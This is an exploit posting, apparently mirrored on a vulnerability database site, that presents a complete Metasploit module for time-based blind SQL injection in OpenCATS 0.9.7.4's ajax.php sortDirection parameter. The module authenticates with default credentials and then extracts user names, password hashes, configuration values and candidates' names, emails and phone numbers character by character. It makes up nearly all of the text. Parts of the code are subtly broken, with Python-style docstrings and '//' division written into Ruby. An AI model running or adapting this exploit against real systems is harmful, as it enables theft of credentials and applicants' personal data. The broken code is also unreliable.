==================================================================================================================================
| # Title : OpenCATS 0.9.7.4 SQL Injection Time-Based Blind |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/opencats/OpenCATS |
==================================================================================================================================
[+] Summary : A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
The vulnerability is present in the `ajax.php` endpoint when handling the`sortDirection` parameter.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenCATS 0.9.7.4 SQL Injection (Time-Based Blind)',
'Description' => %q{
A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
The vulnerability is present in the `ajax.php` endpoint when handling the
`sortDirection` parameter. An authenticated attacker can perform time-based
blind SQL injection to extract sensitive information from the database,
including user credentials, configuration data, and candidate information.
This module exploits the vulnerability by injecting SQL code into the
`sortDirection` parameter of the `getDataGridPager` action. The injection
uses time-based delays to infer data from the database character by character.
Tested on OpenCATS 0.9.7.4 with PHP and MariaDB/MySQL.
},
'Author' => ['indoushka'],
'References' => [
['URL', 'https://github.com/opencats/OpenCATS'],
['URL', 'https://github.com/opencats/OpenCATS/security/advisories'],
['URL', 'https://www.opencats.org']
],
'DisclosureDate' => '2026-04-29',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base OpenCATS path', '/']),
OptString.new('USERNAME', [true, 'OpenCATS username', 'admin']),
OptString.new('PASSWORD', [true, 'OpenCATS password', 'cats']),
OptInt.new('DELAY', [false, 'Time delay for blind injection (seconds)', 1]),
OptInt.new('THREADS', [false, 'Number of threads for extraction', 1]),
OptEnum.new('EXTRACT_MODE', [true, 'What to extract', 'ALL', ['USERS', 'CONFIG', 'CANDIDATES', 'ALL']])
])
end
def login
print_status("Authenticating to OpenCATS at #{peer}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
)
if res.nil?
print_error("Failed to reach login page")
return false
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'm' => 'login', 'a' => 'attemptLogin' },
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
)
if res && (res.code == 302 || res.code == 200)
if res.headers['Location'] && !res.headers['Location'].include?('login')
print_good("Authentication successful")
return true
elsif res.body && !res.body.include?('Invalid')
print_good("Authentication successful")
return true
end
end
print_error("Authentication failed. Check credentials.")
false
end
def send_sqli_request(payload, timeout = 10)
"""
Send SQL injection payload through the vulnerable parameter.
The vulnerability is in the sortDirection parameter of the getDataGridPager action.
"""
params = {
'f' => 'getDataGridPager',
'i' => 'candidates:candidatesListByViewDataGrid',
'p' => {
'sortBy' => 'dateModifiedSort',
'sortDirection' => payload,
'rangeStart' => 0,
'maxResults' => 15
}.to_json
}
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'vars_get' => params,
'timeout' => timeout,
'keep_cookies' => true
)
return res
rescue ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
return nil
end
end
def measure_response_time(payload)
"""
Measure response time for a given SQL injection payload.
Returns the response time in seconds.
"""
start_time = Time.now
send_sqli_request(payload, datastore['DELAY'] + 5)
elapsed_time = Time.now - start_time
elapsed_time
end
def get_baseline_time
"""
Get baseline response time without any sleep injection.
"""
normal_payload = "DESC"
measure_response_time(normal_payload)
end
def test_vulnerability
"""
Test if the target is vulnerable to time-based blind SQL injection.
"""
print_status("Testing for time-based blind SQL injection...")
baseline = get_baseline_time
print_status("Baseline response time: #{'%.2f' % baseline}s")
sleep_payload = "DESC,SLEEP(#{datastore['DELAY']})"
sleep_time = measure_response_time(sleep_payload)
print_status("Response time with SLEEP: #{'%.2f' % sleep_time}s")
if sleep_time > baseline + (datastore['DELAY'] * 0.6)
print_good("Target appears vulnerable to time-based blind SQL injection!")
return true
else
print_error("Target does not appear vulnerable")
return false
end
end
def blind_condition(condition, delay = datastore['DELAY'])
"""
Execute a blind SQL injection condition and return true if condition is true.
Uses time-based detection: SLEEP(delay) if condition is true.
"""
payload = "DESC,IF((#{condition}),SLEEP(#{delay}),0)"
response_time = measure_response_time(payload)
baseline = get_baseline_time
response_time > baseline + (delay * 0.6)
end
def extract_string(query, max_length = 100)
"""
Extract a string from the database using binary search on character values.
"""
result = ""
print_status("Extracting: #{query}")
length = 0
(1..max_length).each do |i|
condition = "LENGTH((#{query})) < #{i}"
if blind_condition(condition)
length = i - 1
break
end
length = i
end
print_status(" Length: #{length}")
(1..length).each do |pos|
lo = 32
hi = 126
while lo < hi
mid = (lo + hi) // 2
condition = "ORD(SUBSTRING((#{query}), #{pos}, 1)) > #{mid}"
if blind_condition(condition)
lo = mid + 1
else
hi = mid
end
end
result += lo.chr
print_status(" Progress: #{pos}/#{length} -> #{result}")
end
result
end
def extract_integer(query, max_bits = 32)
"""
Extract an integer from the database using bit-by-bit extraction.
"""
result = 0
(0..max_bits).each do |bit|
condition = "((#{query}) >> #{bit}) & 1 = 1"
if blind_condition(condition)
result |= (1 << bit)
end
end
result
end
def get_database_info
"""
Extract basic database information.
"""
info = {}
print_status("Extracting database information...")
info['version'] = extract_string("@@version", 30)
info['database'] = extract_string("DATABASE()", 30)
info['user'] = extract_string("USER()", 30)
info
end
def extract_users
"""
Extract user credentials from the user table.
"""
print_status("Extracting user information...")
users = []
count_query = "SELECT COUNT(*) FROM user"
user_count = extract_integer(count_query)
print_good("Found #{user_count} user(s)")
(0...user_count).each do |offset|
user = {}
username_query = "SELECT user_name FROM user ORDER BY user_id LIMIT #{offset},1"
user['username'] = extract_string(username_query, 40)
level_query = "SELECT access_level FROM user ORDER BY user_id LIMIT #{offset},1"
user['access_level'] = extract_integer(level_query, 8)
hash_query = "SELECT password FROM user ORDER BY user_id LIMIT #{offset},1"
user['password_hash'] = extract_string(hash_query, 62)
email_query = "SELECT email FROM user ORDER BY user_id LIMIT #{offset},1"
user['email'] = extract_string(email_query, 60)
users << user
print_good(" User #{offset+1}: #{user['username']} (level: #{user['access_level']})")
print_status(" Hash: #{user['password_hash']}")
print_status(" Email: #{user['email']}") if user['email']
end
users
end
def extract_candidates
"""
Extract candidate information from the candidate table.
"""
print_status("Extracting candidate information...")
candidates = []
count_query = "SELECT COUNT(*) FROM candidate"
candidate_count = extract_integer(count_query)
print_status("Found #{candidate_count} candidate(s)")
if candidate_count > 10
print_warning("Large number of candidates (#{candidate_count}). Extraction may take time.")
end
max_to_extract = [candidate_count, 20].min # Limit to 20 candidates for performance
print_status("Extracting first #{max_to_extract} candidates...")
(0...max_to_extract).each do |offset|
candidate = {}
first_name_query = "SELECT firstName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['first_name'] = extract_string(first_name_query, 30)
last_name_query = "SELECT lastName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['last_name'] = extract_string(last_name_query, 30)
email_query = "SELECT email FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['email'] = extract_string(email_query, 50)
phone_query = "SELECT phoneHome FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['phone'] = extract_string(phone_query, 20)
company_query = "SELECT company FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['company'] = extract_string(company_query, 50)
candidates << candidate
print_status(" Candidate #{offset+1}: #{candidate['first_name']} #{candidate['last_name']} - #{candidate['email']}")
end
candidates
end
def extract_config
"""
Extract configuration settings from the config table.
"""
print_status("Extracting configuration settings...")
config = {}
config_keys = [
'site_name', 'site_url', 'admin_email', 'language',
'timezone', 'date_format', 'currency', 'company_name'
]
config_keys.each do |key|
query = "SELECT value FROM config WHERE setting = '#{key}' LIMIT 1"
value = extract_string(query, 100)
config[key] = value if value && !value.empty?
end
config
end
def run_host(ip)
print_status("Starting OpenCATS SQL Injection scan against #{peer}")
unless login
print_error("Login failed. Cannot proceed with SQL injection.")
return
end
unless test_vulnerability
print_error("Target does not appear vulnerable to time-based blind SQL injection.")
return
end
print_good("Target confirmed vulnerable to SQL injection!")
extraction_mode = datastore['EXTRACT_MODE']
case extraction_mode
when 'USERS'
users = extract_users
users.each do |user|
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'opencats',
user: user['username'],
private_data: user['password_hash'],
private_type: :nonreplayable_hash,
realm_key: 'access_level',
realm_value: user['access_level']
)
end
when 'CONFIG'
config = extract_config
report_note(
host: ip,
port: datastore['RPORT'],
type: 'opencats.config',
data: config,
update: :unique_data
)
when 'CANDIDATES'
candidates = extract_candidates
report_note(
host: ip,
port: datastore['RPORT'],
type: 'opencats.candidates',
data: candidates,
update: :unique_data
)
when 'ALL'
db_info = get_database_info
users = extract_users
config = extract_config
candidates = extract_candidates
print_good("\n" + "=" * 60)
print_good("EXTRACTION COMPLETE!")
print_good("=" * 60)
print_status("Database: #{db_info['database']}")
print_status("MySQL Version: #{db_info['version']}")
print_status("Database User: #{db_info['user']}")
print_status("\nUsers found: #{users.length}")
print_status("Configuration settings: #{config.length}")
print_status("Candidates extracted: #{candidates.length}")
report_note(
host: ip,
port: datastore['RPORT'],
type: 'opencats.extracted_data',
data: {
'database_info' => db_info,
'users' => users,
'config' => config,
'candidates' => candidates
},
update: :unique_data
)
end print_good("SQL injection exploitation completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation